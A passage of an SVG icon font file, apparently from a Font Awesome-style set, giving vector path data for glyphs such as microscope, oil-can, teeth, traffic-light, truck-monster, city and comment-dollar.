c-6.7998 -3.08984 -14.4893 -3.08984 -21.29 0zM499.59 211.7c16.5498 -7.5 16.5498 -32.5 0 -40l-232.95 -105.59c-6.7998 -3.08008 -14.4893 -3.08008 -21.29 0l-232.939 105.59c-16.5498 7.5 -16.5498 32.5 0 40l58.0996 26.3301l161.63 -73.2705
c7.57031 -3.42969 15.5908 -5.16992 23.8604 -5.16992s16.2998 1.74023 23.8604 5.16992l161.64 73.2705zM499.59 83.9004c16.5498 -7.5 16.5498 -32.5 0 -40l-232.95 -105.591c-6.7998 -3.0791 -14.4893 -3.0791 -21.29 0l-232.939 105.591
c-16.5498 7.5 -16.5498 32.5 0 40l57.8799 26.2295l161.85 -73.3701c7.57031 -3.42969 15.5908 -5.16992 23.8604 -5.16992s16.2998 1.74023 23.8604 5.16992l161.859 73.3701z" />
    <glyph glyph-name="microscope" unicode="&#xf610;" 
d="M160 128c-17.6699 0 -32 14.3301 -32 32v224c0 17.6699 14.3301 32 32 32v16c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16v-16c17.6699 0 32 -14.3301 32 -32v-224c0 -17.6699 -14.3301 -32 -32 -32h-12v-16c0 -8.83984 -7.16016 -16 -16 -16h-40
c-8.83984 0 -16 7.16016 -16 16v16h-12zM464 0c26.5098 0 48 -21.4902 48 -48c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16c0 26.5098 21.4902 48 48 48h272c70.5801 0 128 57.4199 128 128s-57.4199 128 -128 128v64
c105.88 0 192 -86.1201 192 -192c0 -49.2002 -18.7598 -93.9902 -49.29 -128h1.29004zM104 32c-4.41992 0 -8 3.58008 -8 8v16c0 4.41992 3.58008 8 8 8h208c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-208z" />
    <glyph glyph-name="oil-can" unicode="&#xf613;" horiz-adv-x="640" 
d="M629.8 287.69c5.11035 1.45996 10.2002 -2.38086 10.1904 -7.69043v-18.0801c0 -2.12012 -0.839844 -4.16016 -2.33984 -5.66016l-212.261 -214.75c-6.00977 -6.08984 -14.21 -9.50977 -22.7598 -9.50977h-274.63c-17.6699 0 -32 14.3301 -32 32v46.54l-69.7197 12.6904
c-15.2207 2.75977 -26.2803 16.0195 -26.2803 31.4795v94.9502c0 17.9795 14.6699 32.0098 31.9297 32.0098c1.61133 0 4.20605 -0.237305 5.79004 -0.530273l138.28 -25.1396h56v48h-56c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h160
c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-56v-48h56.8896c8.33984 -0.00292969 21.1611 -3.03125 28.6201 -6.75977l50.4902 -25.2402zM96 159.33v62.4297l-48 8.73047v-62.4307zM549.33 74.6699c0 23.5605 42.6699 85.3301 42.6699 85.3301
s42.6699 -61.7598 42.6699 -85.3301s-19.0996 -42.6699 -42.6699 -42.6699s-42.6699 19.1104 -42.6699 42.6699z" />
    <glyph glyph-name="poop" unicode="&#xf619;" 
d="M451.36 78.8604c34.3301 -5.48047 60.6396 -34.9805 60.6396 -70.8604c0 -39.7598 -32.2402 -72 -72 -72h-368c-39.7598 0 -72 32.2402 -72 72c0 35.8799 26.3096 65.3799 60.6396 70.8604c-17.2998 13.1494 -28.6396 33.7295 -28.6396 57.1396
c0 39.7695 32.2402 72 72 72h14.0703c-13.4199 11.7305 -22.0703 28.7803 -22.0703 48c0 35.3496 28.6504 64 64 64h16c44.1797 0 80 35.8203 80 80c0 17.3799 -5.69043 33.3604 -15.1104 46.4805c4.95996 0.779297 9.94043 1.51953 15.1104 1.51953
c53.0195 0 96 -42.9805 96 -96c0 -11.2803 -2.30957 -21.9502 -5.87988 -32h5.87988c35.3496 0 64 -28.6504 64 -64c0 -19.2197 -8.65039 -36.2695 -22.0703 -48h14.0703c39.7598 0 72 -32.2305 72 -72c0 -23.4102 -11.3398 -43.9902 -28.6396 -57.1396z" />
    <glyph glyph-name="shapes" unicode="&#xf61f;" 
d="M512 128v-160c0 -17.6699 -14.3301 -32 -32 -32h-160c-17.6699 0 -32 14.3301 -32 32v160c0 17.6699 14.3301 32 32 32h160c17.6699 0 32 -14.3301 32 -32zM128 192c70.6904 0 128 -57.3096 128 -128s-57.3096 -128 -128 -128s-128 57.3096 -128 128s57.3096 128 128 128
zM479.03 224h-190.061c-25.3398 0 -41.1797 26.6699 -28.5098 48l95.0303 160c12.6699 21.3301 44.3496 21.3301 57.0195 0l95.0303 -160c12.6699 -21.3301 -3.16992 -48 -28.5098 -48z" />
    <glyph glyph-name="star-of-life" unicode="&#xf621;" horiz-adv-x="480" 
d="M471.99 113.57c7.66016 -4.41992 10.2793 -14.2002 5.85938 -21.8506l-32.0195 -55.4297c-4.41992 -7.66016 -14.21 -10.2803 -21.8701 -5.86035l-135.93 78.4307v-156.86c0 -8.83984 -7.16992 -16 -16.0107 -16h-64.0391c-8.84082 0 -16.0107 7.16016 -16.0107 16
v156.85l-135.93 -78.4297c-7.66016 -4.41016 -17.4502 -1.79004 -21.8701 5.86035l-32.0195 55.4297c-4.41992 7.65039 -1.80078 17.4404 5.85938 21.8604l135.931 78.4297l-135.931 78.4297c-7.66016 4.41992 -10.2793 14.21 -5.85938 21.8604l32.0195 55.4199
c4.41992 7.65039 14.21 10.2803 21.8701 5.86035l135.93 -78.4307v156.86c0 8.83984 7.16992 16 16.0107 16h64.0391c8.84082 0 16.0107 -7.16016 16.0107 -16v-156.85l135.93 78.4297c7.66016 4.41992 17.4502 1.79004 21.8701 -5.86035l32.0195 -55.4297
c4.41992 -7.66016 1.80078 -17.4404 -5.85938 -21.8604l-135.931 -78.4297z" />
    <glyph glyph-name="teeth" unicode="&#xf62e;" horiz-adv-x="640" 
d="M544 448c53.0195 0 96 -42.9805 96 -96v-320c0 -53.0195 -42.9805 -96 -96 -96h-448c-53.0195 0 -96 42.9805 -96 96v320c0 53.0195 42.9805 96 96 96h448zM160 80v64c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-64
c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM160 208v64c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-64c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16zM304 88v56c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-56
c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM304 208v88c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-88c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM448 88v56c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-56
c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM448 208v88c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-88c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM576 80v64c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-64
c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM576 208v64c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-64c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="teeth-open" unicode="&#xf62f;" horiz-adv-x="640" 
d="M544 448c53.0195 0 96 -42.9805 96 -96v-64c0 -35.3496 -28.6602 -64 -64 -64h-512c-35.3398 0 -64 28.6504 -64 64v64c0 53.0195 42.9805 96 96 96h448zM160 272v32c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-32c0 -8.83984 7.16016 -16 16 -16h64
c8.83984 0 16 7.16016 16 16zM304 272v56c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-56c0 -8.83984 7.16016 -16 16 -16h80c8.83984 0 16 7.16016 16 16zM448 272v56c0 30.9297 -25.0703 56 -56 56s-56 -25.0703 -56 -56v-56c0 -8.83984 7.16016 -16 16 -16h80
c8.83984 0 16 7.16016 16 16zM576 272v32c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48v-32c0 -8.83984 7.16016 -16 16 -16h64c8.83984 0 16 7.16016 16 16zM576 128c35.3398 0 64 -28.6504 64 -64v-32c0 -53.0195 -42.9805 -96 -96 -96h-448
c-53.0195 0 -96 42.9805 -96 96v32c0 35.3496 28.6602 64 64 64h512zM160 48v32c0 8.83984 -7.16016 16 -16 16h-64c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48zM304 56v24c0 8.83984 -7.16016 16 -16 16h-80
c-8.83984 0 -16 -7.16016 -16 -16v-24c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM448 56v24c0 8.83984 -7.16016 16 -16 16h-80c-8.83984 0 -16 -7.16016 -16 -16v-24c0 -30.9297 25.0703 -56 56 -56s56 25.0703 56 56zM576 48v32c0 8.83984 -7.16016 16 -16 16h-64
c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48z" />
    <glyph glyph-name="theater-masks" unicode="&#xf630;" horiz-adv-x="640" 
d="M206.86 202.85l-7.62988 -43.1797c-21.0908 -7.21973 -38.5 -18.2002 -49.9004 -30.9199c-2.41992 32.9004 21.6504 63.6504 57.5303 74.0996zM95.8096 153c5.87012 -33.1699 64.3203 -71.8096 111.931 -84.79c10.5596 -27.0996 25.9795 -50.5 39.5 -67.5801
c-3.25977 -0.339844 -6.41992 -0.799805 -10.0098 -0.799805c-68.1201 0 -190.221 61.5596 -204.45 142.08l-31.7305 179.51c-4.96973 28.0996 7.98047 56.0996 32.1504 69.5205c67.8193 37.6396 143.46 57.0596 220.12 57.0596c23.9199 0 47.9492 -1.88965 71.8594 -5.7002
c17.29 -2.76953 31.7803 -13.0498 41.7705 -27c-19.1299 -0.769531 -38.29 -2.2998 -57.1807 -5.31934c-19.8594 -3.1709 -37.6396 -12.5303 -51.5898 -26c-1.62012 0.0195312 -3.23926 0.189453 -4.84961 0.189453c-65.8896 0 -131.25 -16.9502 -189.01 -49.0098
c0.0400391 -0.0302734 -0.530273 -1.03027 -0.240234 -2.65039zM193.36 290.46c3.83984 -21.7002 -10.6904 -42.4004 -32.4404 -46.2197c-21.7598 -3.82031 -42.5 10.6699 -46.3398 32.3701c-0.730469 4.12012 -0.610352 8.15918 -0.0898438 12.0996
c10.8096 -5.57031 24.8301 -7.75 39.4795 -5.16992c14.6504 2.57031 27.0703 9.41016 35.3203 18.3203c1.83984 -3.53027 3.33984 -7.28027 4.07031 -11.4004zM606.8 327.1c24.1699 -13.4092 37.1201 -41.4092 32.1504 -69.5195l-31.7305 -179.51
c-15.3896 -87.0508 -156.83 -151.931 -219.859 -140.84c-63.0303 11.0791 -173.7 120.3 -158.311 207.35l31.7305 179.51c4.95996 28.1006 26.7295 50 54.04 54.3604c100.55 16.0596 203 -1.96973 291.979 -51.3506zM333.56 230.3
c-0.729492 -4.12012 -0.609375 -8.16016 -0.0791016 -12.1094c10.8096 5.56934 24.8291 7.75 39.4795 5.16992c14.6504 -2.57031 27.0703 -9.41016 35.3203 -18.3203c1.83984 3.53027 3.33984 7.28027 4.06934 11.4004c3.83008 21.6992 -10.6895 42.3896 -32.4492 46.2197
c-21.7607 3.83008 -42.5 -10.6602 -46.3408 -32.3604zM404.03 31.54c55.6699 -9.79004 108.2 23.7803 122.38 75.7197c-28.1104 -16.9697 -68.6504 -24.21 -111.93 -16.5996c-43.2803 7.60938 -78.8906 28.2402 -99.4902 53.7803
c-4.48047 -53.6309 33.3594 -103.11 89.04 -112.9zM534.33 182.88c1.83984 3.52051 3.33984 7.27051 4.07031 11.4004c3.83008 21.7002 -10.7002 42.3896 -32.4502 46.2197c-21.7598 3.82031 -42.5 -10.6699 -46.3398 -32.3701
c-0.730469 -4.12012 -0.610352 -8.16016 -0.0908203 -12.0996c10.8105 5.56934 24.8301 7.75 39.4805 5.16992c14.6504 -2.57031 27.0801 -9.41016 35.3301 -18.3203z" />
    <glyph glyph-name="traffic-light" unicode="&#xf637;" horiz-adv-x="384" 
d="M384 256c0 -41.7402 -26.7998 -76.9004 -64 -90.1201v-37.8799h64c0 -42.8398 -28.25 -78.6904 -66.9902 -91.0498c-12.4297 -57.6699 -63.6094 -100.95 -125.01 -100.95s-112.58 43.2803 -125.01 100.95c-38.7402 12.3594 -66.9902 48.21 -66.9902 91.0498h64v37.8799
c-37.2002 13.2197 -64 48.3799 -64 90.1201h64v37.8799c-37.2002 13.2197 -64 48.3799 -64 90.1201h64v32c0 17.6699 14.3301 32 32 32h192c17.6699 0 32 -14.3301 32 -32v-32h64c0 -41.7402 -26.7998 -76.9004 -64 -90.1201v-37.8799h64zM192 32
c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM192 160c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM192 288c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48
s-48 -21.4902 -48 -48s21.4902 -48 48 -48z" />
    <glyph glyph-name="truck-monster" unicode="&#xf63b;" horiz-adv-x="640" 
d="M624 224c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16.71c-29.21 38.6504 -75.0996 64 -127.28 64c-52.1797 0 -98.0693 -25.3496 -127.279 -64h-65.4502c-29.21 38.6504 -75.1006 64 -127.28 64s-98.0703 -25.3496 -127.28 -64h-16.7197
c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16v80c0 8.83984 7.16016 16 16 16h176v96c0 17.6699 14.3301 32 32 32h113.24c16.9795 -0.00195312 39.3701 -10.7627 49.9795 -24.0195l83.1807 -103.98h73.5996c17.6699 0 32 -14.3301 32 -32v-64h16z
M288 320h132.44l-51.2002 64h-81.2402v-64zM592 96c8.83984 0 16 -7.16016 16.0195 -16v-32c0 -8.83984 -7.15918 -16 -16 -16h-5.19922c-1.79688 -6.01074 -5.67188 -15.3691 -8.65039 -20.8896l3.66992 -3.66992c6.25 -6.25 6.25 -16.3809 0 -22.6309l-22.6299 -22.6299
c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-3.66992 3.66992c-6.62012 -3.58008 -13.5703 -6.44922 -20.9004 -8.64941v-5.2002c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v5.2002c-7.33008 2.2002 -14.29 5.08008 -20.8994 8.64941
l-3.66992 -3.66992c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309l3.66992 3.66992c-3.58008 6.60938 -6.44922 13.5596 -8.64941 20.8896h-5.2002c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h5.2002
c1.7959 6.01074 5.6709 15.3691 8.64941 20.8896l-3.66992 3.66992c-6.25 6.25 -6.25 16.3809 0 22.6309l22.6299 22.6299c6.25 6.25 16.3809 6.25 22.6309 0l3.66992 -3.66992c6.60938 3.58008 13.5596 6.44922 20.8896 8.64941v5.2002c0 8.83984 7.16016 16 16 16h32
c8.83984 0 16 -7.16016 16 -16v-5.2002c6.01074 -1.7959 15.3691 -5.6709 20.8896 -8.64941l3.66992 3.66992c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309l-3.66992 -3.66992
c3.58008 -6.60938 6.44922 -13.5596 8.64941 -20.8896h5.2002zM480 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM272 96c8.83984 0 16 -7.16016 16.0195 -15.9902v-32c0 -8.83984 -7.15918 -16 -16 -16h-5.19922
c-1.79688 -6.00977 -5.67188 -15.3691 -8.65039 -20.8896l3.66992 -3.66992c6.25 -6.25 6.25 -16.3799 0 -22.6299l-22.6299 -22.6299c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-3.66992 3.66992c-6.62012 -3.58008 -13.5703 -6.4502 -20.9004 -8.65039v-5.2002
c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v5.2002c-7.33008 2.2002 -14.29 5.08008 -20.8994 8.65039l-3.66992 -3.66992c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3799 0 22.6299l3.66992 3.66992
c-3.58008 6.61035 -6.44922 13.5596 -8.64941 20.8896h-5.2002c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h5.2002c1.7959 6.01074 5.6709 15.3691 8.64941 20.8906l-3.66992 3.66992c-6.25 6.25 -6.25 16.3799 0 22.6299l22.6299 22.6201
c6.25 6.25 16.3809 6.25 22.6309 0l3.66992 -3.66992c6.60938 3.58008 13.5596 6.44922 20.8896 8.64941v5.2002c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-5.2002c6.01074 -1.7959 15.3691 -5.6709 20.8896 -8.64941l3.66992 3.66992
c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309l-3.66992 -3.66992c3.58008 -6.60938 6.44922 -13.5596 8.64941 -20.8896h5.2002zM160 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48
s21.4902 -48 48 -48z" />
    <glyph glyph-name="truck-pickup" unicode="&#xf63c;" horiz-adv-x="640" 
d="M624 160c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-49.5996c0.759766 -5.26953 1.60938 -10.5195 1.60938 -16c0 -61.8604 -50.1396 -112 -112 -112c-61.8594 0 -112 50.1396 -112 112c0 5.48047 0.850586 10.7305 1.61035 16h-67.2305
c0.760742 -5.26953 1.61035 -10.5195 1.61035 -16c0 -61.8604 -50.1396 -112 -112 -112s-112 50.1396 -112 112c0 5.48047 0.849609 10.7305 1.61035 16h-49.6104c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16v64c0 17.6699 14.3301 32 32 32h160v128
c0 17.6699 14.3301 32 32 32h113.24c16.9795 -0.00195312 39.3701 -10.7627 49.9795 -24.0195l108.78 -135.98h48c17.6699 0 32 -14.3301 32 -32v-64h16zM288 352v-96h158.04l-76.7998 96h-81.2402zM176 32c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48
s-48 -21.5303 -48 -48s21.5303 -48 48 -48zM464 32c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48s21.5303 -48 48 -48z" />
    <glyph glyph-name="ad" unicode="&#xf641;" 
d="M157.52 176l18.4805 53.2197l18.4805 -53.2197h-36.9609zM352 192c13.2305 0 24 -10.7695 24 -24s-10.7695 -24 -24 -24s-24 10.7695 -24 24s10.7695 24 24 24zM464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288
c0 26.5 21.5 48 48 48h416zM250.58 96c11 0 18.7197 10.8496 15.1104 21.25l-53.6904 154.62c-3.08789 8.90332 -13.2422 16.1299 -22.666 16.1299h-0.00390625h-26.6602h-0.00390625c-9.41992 0 -19.5742 -7.22168 -22.666 -16.1201l-53.7002 -154.63
c-3.60938 -10.4004 4.11035 -21.25 15.1201 -21.25h16.9404h0.00585938c6.28125 0 13.0527 4.81641 15.1143 10.75l7.37988 21.25h70.29l7.36914 -21.25c2.24023 -6.42969 8.31055 -10.75 15.1201 -10.75h16.9404zM424 112v160c0 8.83984 -7.16016 16 -16 16h-16
c-8.83984 0 -16 -7.16016 -16 -16v-36.4199c-7.54004 2.68945 -15.54 4.41992 -24 4.41992c-39.7002 0 -72 -32.2998 -72 -72s32.2998 -72 72 -72c9.92969 0 19.4004 2.01953 28.0195 5.67969c2.94043 -3.41016 7.13086 -5.67969 11.9805 -5.67969h16
c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="ankh" unicode="&#xf644;" horiz-adv-x="320" 
d="M296 192c13.25 0 24 -10.7402 24 -24v-32c0 -13.25 -10.75 -24 -24 -24h-96v-152c0 -13.25 -10.75 -24 -24 -24h-32c-13.25 0 -24 10.75 -24 24v152h-96c-13.25 0 -24 10.75 -24 24v32c0 13.2598 10.75 24 24 24h44.6201c-21.0801 33.9902 -36.6201 74.3496 -36.6201 112
c0 88.3701 57.3096 144 128 144s128 -55.6299 128 -144c0 -37.6504 -15.54 -78.0098 -36.6201 -112h44.6201zM160 368c-29.6104 0 -48 -24.5195 -48 -64c0 -34.6602 27.1396 -78.1504 48 -100.87c20.8604 22.7305 48 66.21 48 100.87c0 39.4805 -18.3896 64 -48 64z" />
    <glyph glyph-name="bible" unicode="&#xf647;" horiz-adv-x="448" 
d="M448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320
c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM144 304v-32c0 -8.83984 7.16016 -16 16 -16h48v-112c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v112h48c8.83984 0 16 7.16016 16 16v32
c0 8.83984 -7.16016 16 -16 16h-48v48c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-48h-48c-8.83984 0 -16 -7.16016 -16 -16zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" />
    <glyph glyph-name="business-time" unicode="&#xf64a;" horiz-adv-x="640" 
d="M496 224c79.5898 0 144 -64.4102 144 -144s-64.4102 -144 -144 -144s-144 64.4102 -144 144s64.4102 144 144 144zM560 73.71v12.5801c0 5.33984 -4.37012 9.70996 -9.70996 9.70996h-38.29v54.2803c0 5.33984 -4.37012 9.70996 -9.70996 9.70996h-12.5703
c-5.33984 0 -9.70996 -4.37012 -9.70996 -9.70996v-76.5703c0 -5.33984 4.37012 -9.70996 9.70996 -9.70996h60.5703c5.33984 0 9.70996 4.37012 9.70996 9.70996zM496 256c-37.5303 0 -72.2803 -11.9102 -100.88 -32h-395.12v80c0 25.5996 22.4004 48 48 48h80v48
c0 25.5996 22.4004 48 48 48h160c25.5996 0 48 -22.4004 48 -48v-48h80c25.5996 0 48 -22.4004 48 -48v-48.8096c-5.28027 0.479492 -10.5996 0.80957 -16 0.80957zM320 352v32h-128v-32h128zM326.82 128c-4.33984 -15.2803 -6.82031 -31.3398 -6.82031 -48
c0 -28.8203 7.09961 -55.96 19.4297 -80h-291.43c-25.5996 0 -48 22.4004 -48 48v144h192v-48c0 -8.83984 7.16016 -16 16 -16h118.82z" />
    <glyph glyph-name="city" unicode="&#xf64f;" horiz-adv-x="640" 
d="M616 256c13.25 0 24 -10.7402 24 -24v-264c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v360c0 13.2598 10.7402 24 24 24h40v80c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-80h64v80c0 8.83984 7.16016 16 16 16h16
c8.83984 0 16 -7.16016 16 -16v-80h64v72c0 13.2598 10.7402 24 24 24h144c13.2598 0 24 -10.7402 24 -24v-168h136zM128 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12z
M128 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM128 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40
c6.62988 0 12 5.37012 12 12zM256 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM256 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40
c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM256 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 140v40c0 6.62988 -5.37012 12 -12 12h-40
c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 236v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM416 332v40
c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12zM576 44v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40
c6.62988 0 12 5.37012 12 12zM576 140v40c0 6.62988 -5.37012 12 -12 12h-40c-6.62988 0 -12 -5.37012 -12 -12v-40c0 -6.62988 5.37012 -12 12 -12h40c6.62988 0 12 5.37012 12 12z" />
    <glyph glyph-name="comment-dollar" unicode="&#xf651;" 
d="M256 416c141.38 0 256 -93.1201 256 -208s-114.62 -208 -256 -208c-38.4102 0 -74.71 7.07031 -107.4 19.3799c-24.6094 -19.6299 -74.3398 -51.3799 -140.6 -51.3799h-0.00195312c-4.41309 0 -7.99512 3.58203 -7.99512 7.99512
c0 1.76172 0.984375 4.22754 2.19727 5.50488c0.5 0.530273 42.2598 45.4502 54.8193 95.7598c-35.6094 35.7305 -57.0195 81.1807 -57.0195 130.74c0 114.88 114.62 208 256 208zM280 113.56c30.29 3.62012 53.3701 30.9805 49.3203 63.04
c-2.90039 22.96 -20.6602 41.3105 -42.9102 47.6699l-50.0703 14.3008c-3.59961 1.0293 -6.12012 4.35938 -6.12012 8.10938c0 4.64062 3.78027 8.41992 8.44043 8.41992h32.7803h0.0654297c2.94727 0 7.51367 -0.994141 10.1943 -2.21973
c4.7998 -2.20996 10.3701 -1.70996 14.1094 2.03027l17.5205 17.5195c5.26953 5.27051 4.66992 14.2705 -1.5498 18.3799c-9.5 6.27051 -20.3604 10.1104 -31.7803 11.46v17.7305c0 8.83984 -7.16016 16 -16 16h-16c-8.83984 0 -16 -7.16016 -16 -16v-17.5498
c-30.29 -3.62012 -53.3701 -30.9805 -49.3203 -63.0498c2.90039 -22.96 20.6602 -41.3203 42.9102 -47.6699l50.0703 -14.3008c3.59961 -1.0293 6.12012 -4.35938 6.12012 -8.10938c0 -4.64062 -3.78027 -8.41992 -8.44043 -8.41992h-32.7803
c-3.59961 0 -7.0791 0.759766 -10.2598 2.21973c-4.7998 2.20996 -10.3701 1.70996 -14.1094 -2.03027l-17.5205 -17.5195c-5.26953 -5.27051 -4.66992 -14.2705 1.5498 -18.3799c9.5 -6.27051 20.3604 -10.1104 31.7803 -11.46v-17.7305c0 -8.83984 7.16016 -16 16 -16h16
c8.83984 0 16 7.16016 16 16v17.5596z" />
    <glyph glyph-name="comments-dollar" unicode="&#xf653;" horiz-adv-x="576" 
d="M416 256c0 -88.3701 -93.1201 -160 -208 -160c-40.9805 0 -79.0703 9.24023 -111.27 24.9805c-21.8008 -12.7305 -52.1504 -24.9805 -88.7305 -24.9805h-0.00195312c-4.41309 0 -7.99512 3.58203 -7.99512 7.99512c0 1.76172 0.984375 4.22754 2.19727 5.50488
c0.319336 0.339844 22.4102 24.2803 35.7695 54.5195c-23.8398 26.0303 -37.9697 57.7109 -37.9697 91.9805c0 88.3701 93.1201 160 208 160s208 -71.6299 208 -160zM192 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16.1201
c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104c4.55957 0 8.94922 -1.29004 12.8193 -3.71973
c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16.1201
c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104
